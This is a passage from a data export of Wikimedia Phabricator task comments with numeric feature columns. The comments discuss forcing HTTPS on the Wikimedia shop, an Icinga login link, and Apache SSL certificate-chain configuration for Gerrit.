+However, this bug has not been fixed yet; you are still able to visit the shop through the unsecure HTTP protocol. The shop is quite different than the Wikimedia wikis, which only allow browsing through HTTPS; its traffic is probably quite low, so there shouldn't be any technical reasons not to force users to use HTTPS.",,,1345500028,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+178543,shop.wikimedia.org should be HTTPS only,"We're working on the https issue because https://shop.wikimedia.org should work (right now it works but throws a mismatched certificate error) . This has taken far longer then we woud like because it required back end changes on the partners side but is, I believe, getting very close and we just approved the certificate. If it isn't in place by the start of next week we will start using https://wikimedia.myshopify.org as a stop gap so that we can provide the security without the warnings and I've already changed it so that login pages will use that url so that they are secure.
+
+I'm not certain if the shop itself, like most online shops, necessarily needs to be forced to https for browsing purposes as this seems un necessary and isn't a security issue. The payment pages are and always will be forced to be https.",,,1340312012,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-62,True,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1
+178536,shop.wikimedia.org should be HTTPS only,"This is a security related issue, so highered the importance.",,,1340311261,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-62,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+82499,"give icinga  a ""login"" link","**Author:** `lcarr`
+
+**Description:**
+
+
+
+**Refers To:**
+{T83554}",Medium,50.0,1367443030,1445408544.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_description,declined,True,c2,1,False,False,False,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+416807,"give icinga  a ""login"" link",obsolete since recently icinga-admin has been removed (!?),,,1424823807,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,78,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+372655,"give icinga  a ""login"" link",Reference to ticket #6838 added by dzahn,,,1408656880,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+372646,"give icinga  a ""login"" link","%%%On Thu Aug 21 21:26:52 2014, jeremyb wrote:%%%
+> My best guess at the intent was to have a link somewhere on icinga to
+> icinga-admin. (which wasn't considered when closing?)
+%%%if you go to icinga, you already get a login pop-up anways, because of #6838%%%",,,1408656854,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,51,True,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+372634,"give icinga  a ""login"" link",//AdminCc jeremyb added by jeremyb//,,,1408656423,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+372622,"give icinga  a ""login"" link",//Status changed from 'resolved' to 'open' by RT_System//,,,1408656412,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+372614,"give icinga  a ""login"" link",%%%My best guess at the intent was to have a link somewhere on icinga to icinga-admin. (which wasn't considered when closing?)%%%,,,1408656412,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,51,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,0
+372605,"give icinga  a ""login"" link",//Status changed from 'open' to 'resolved' by dzahn//,,,1396961793,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+372597,"give icinga  a ""login"" link","%%%closing because icinga and icinga-admin both have logins.%%%
+%%%if there is an open ticket then it's to _remove_ the login on icinga (not%%%
+%%%icinga-admin) again. (if we can)%%%",,,1396961778,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,31,True,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+372586,"give icinga  a ""login"" link",//Status changed from 'new' to 'open' by RT_System//,,,1392384493,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+372576,"give icinga  a ""login"" link",%%%resolved by https://icinga-admin.wikimedia.org ?%%%,,,1392384493,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+372565,"give icinga  a ""login"" link",Dependency by ticket #6775 added by gage,,,1391627924,,PHID-USER-yyzsgjllkzfxdu44eeix,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+82319,Use SSLCertificateChainFile in Gerrit Apache configuration,"**Author:** `hashar`
+
+**Description:**
+%%%We have a bunch of virtual hosts explicitly declaring the SSL certificate to%%%
+%%%use. Per Faidon review, we should instead use: SSLCACertificatePath%%%
+%%%/etc/ssl/certs Then apache will find out which one to use. (note I have closed%%%
+%%%the bug report, lets track this in RT).%%%
+
+__________________________
+
+**Bugzilla Ticket**: [[ https://old-bugzilla.wikimedia.org/show_bug.cgi?id=46325 | 46325 ]] => {T48325}
+
+
+**Referred To By:**
+{T82359}",Medium,50.0,1364300002,1433466619.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uteqiw4n5ure7xs5mxho,task_description,resolved,True,c2,1,False,False,False,-23,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+469692,Use SSLCertificateChainFile in Gerrit Apache configuration,Thanks @Dzahn :-),,,1433497197,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+469566,Use SSLCertificateChainFile in Gerrit Apache configuration,"https://www.ssllabs.com/ssltest/analyze.html?d=gerrit.wikimedia.org
+
+the ""-"" in ""A-"" is because we are not supporting PFS which is because the Apache is 2.2.x which is because ytterbium is precise",,,1433466795,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+469564,Use SSLCertificateChainFile in Gerrit Apache configuration,"we use ""SSLCACertificatePath /etc/ssl/certs/"" in the Gerrit config (meanwhile) and that is ok too",,,1433466619,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+469563,Use SSLCertificateChainFile in Gerrit Apache configuration,">>! In T82319#1335241, @hashar wrote:
+> Does #releng has anything to do there?  Seems like some infrastructure tech debt.
+
+Actually, you are the author the bug :)",,,1433466480,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+469551,Use SSLCertificateChainFile in Gerrit Apache configuration,">>! In T82319#1335241, @hashar wrote:
+> Does #releng has anything to do there?  Seems like some infrastructure tech debt.
+
+I added since we just added the entire releng team to gerrit admins.",,,1433465268,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+469137,Use SSLCertificateChainFile in Gerrit Apache configuration,"Change 215508 merged by Dzahn:
+ganglia: use SSLCertificateChainFile
+
+[[https://gerrit.wikimedia.org/r/215508]]",,,1433437690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,92,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+468555,Use SSLCertificateChainFile in Gerrit Apache configuration,Does #releng has anything to do there?  Seems like some infrastructure tech debt.,,,1433361996,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+468459,Use SSLCertificateChainFile in Gerrit Apache configuration,"Change 215508 had a related patch set uploaded (by Dzahn):
+ganglia: use SSLCertificateChainFile
+
+[[https://gerrit.wikimedia.org/r/215508]]
+",,,1433355295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+371395,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%After irc conversation with Chad:%%%
+%%%he doesn't know about how git does cert verification so the buck is rightly%%%
+%%%passed back to us.%%%",,,1397660451,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,33,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0
+371386,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Wed Apr 16 09:03:45 2014, ariel wrote:%%%
+> On Fri Dec 20 01:12:59 2013, dzahn wrote:
+> > the problem is that if you do this for gerrit and think you do the
+> > obvious fix
+> > and Apache still works, then you just broke puppet-merge without
+> > expecting it
+> > at all!!
+> >
+> >
+> > error: server certificate verification failed. CAfile:
+> > /etc/ssl/certs/ca-certificates.crt
+> > CRLfile: none while accessing
+> > https://gerrit.wikimedia.org/r/p/operations/pusfatal: HTTP request
+> > failed
+> >
+> > that is the real problem here, so maybe it should rather be a
+> Bugzilla
+> > ticket for Chad now.
+>
+> The whine is from git (git fetch, I suppose) and not anything fancy
+> about
+> puppet-merge. The standard openssl verfication on the chained pem
+> works fine,
+> so I don't know why giit wouldn't like it. Chad, do you want to look
+> at the
+> gerrit/apache end of this a bit?
+%%%Huh? I have no clue what's going on here. Way over my head.%%%
+%%%-Chad%%%",,,1397658151,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,33,True,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+371374,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Fri Dec 20 01:12:59 2013, dzahn wrote:%%%
+> the problem is that if you do this for gerrit and think you do the
+> obvious fix
+> and Apache still works, then you just broke puppet-merge without
+> expecting it
+> at all!!
+>
+>
+> error: server certificate verification failed. CAfile:
+> /etc/ssl/certs/ca-certificates.crt
+> CRLfile: none while accessing
+> https://gerrit.wikimedia.org/r/p/operations/pusfatal: HTTP request
+> failed
+>
+> that is the real problem here, so maybe it should rather be a Bugzilla
+> ticket for Chad now.
+%%%The whine is from git (git fetch, I suppose) and not anything fancy about%%%
+%%%puppet-merge. The standard openssl verfication on the chained pem works fine,%%%
+%%%so I don't know why giit wouldn't like it. Chad, do you want to look at the%%%
+%%%gerrit/apache end of this a bit?%%%",,,1397639025,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,33,True,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+371366,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%the problem is that if you do this for gerrit and think you do the obvious fix%%%
+%%%and Apache still works, then you just broke puppet-merge without expecting it%%%
+%%%at all!!%%%
+%%%error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt%%%
+%%%CRLfile: none while accessing https://gerrit.wikimedia.org/r/p/operations/pusfatal: HTTP request failed%%%
+%%%that is the real problem here, so maybe it should rather be a Bugzilla ticket for Chad now.%%%",,,1387501979,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+371354,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%i renamed the ticket from being a global request to just being a Gerrit issue%%%
+%%%now. the other services i believe we have all fixed.%%%
+%%%why it had to be reverted for gerrit: https://gerrit.wikimedia.org/r/#/c/90676/%%%
+%%%so gerrit still does not do this and the ticket is open but it is totally done%%%
+%%%on other services now%%%
+%%%this is to clarify and get the ticket unstuck%%%",,,1387501882,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,16,True,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+371342,Use SSLCertificateChainFile in Gerrit Apache configuration,//Subject changed from 'Use SSLCertificateChainFile in Apache configuration' to 'Use SSLCertificateChainFile in Gerrit Apache configuration' by dzahn//,,,1387501789,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+371330,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%we're now doing this per ticket title on metrics.wm and planet.wm:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/84901/%%%
+%%%just reverted it on gerrit, because of issue with puppet-merge if you don't%%%
+%%%specify SSLCACertificatePath (Apache restarts fine)%%%
+%%%https://gerrit.wikimedia.org/r/#/c/90676/%%%",,,1382410958,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+371320,Use SSLCertificateChainFile in Gerrit Apache configuration,//Untaken by dzahn//,,,1380638194,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+371308,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%please review https://gerrit.wikimedia.org/r/#/c/84901/%%%,,,1380291751,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+371296,Use SSLCertificateChainFile in Gerrit Apache configuration,//Subject changed from 'Use SSLCACertificatePath in Apache configuration' to 'Use SSLCertificateChainFile in Apache configuration' by dzahn//,,,1380291683,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+371286,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Wed Sep 18 23:29:41 2013, dzahn wrote:%%%
+> https://gerrit.wikimedia.org/r/#/c/84901/
+%%%new patch set, ""%%%
+%%%replace SSLCACertificatePath with SSLCertificateChainFile%%%
+%%%better?%%%",,,1380023851,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+371276,Use SSLCertificateChainFile in Gerrit Apache configuration,%%%https://gerrit.wikimedia.org/r/#/c/84901/%%%,,,1379546981,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+371265,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%do the opposite. remove that from these, per Ryan.%%%
+%%%gerrit.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
+%%%git.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
+%%%metrics.wikimedia.org.erb: SSLCACertificatePath /etc/ssl/certs/%%%
+%%%planet.erb: SSLCACertificatePath /etc/ssl/certs/%%%
+%%%planet-language.erb: SSLCACertificatePath /etc/ssl/certs/%%%
+%%%then reject%%%",,,1379540809,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
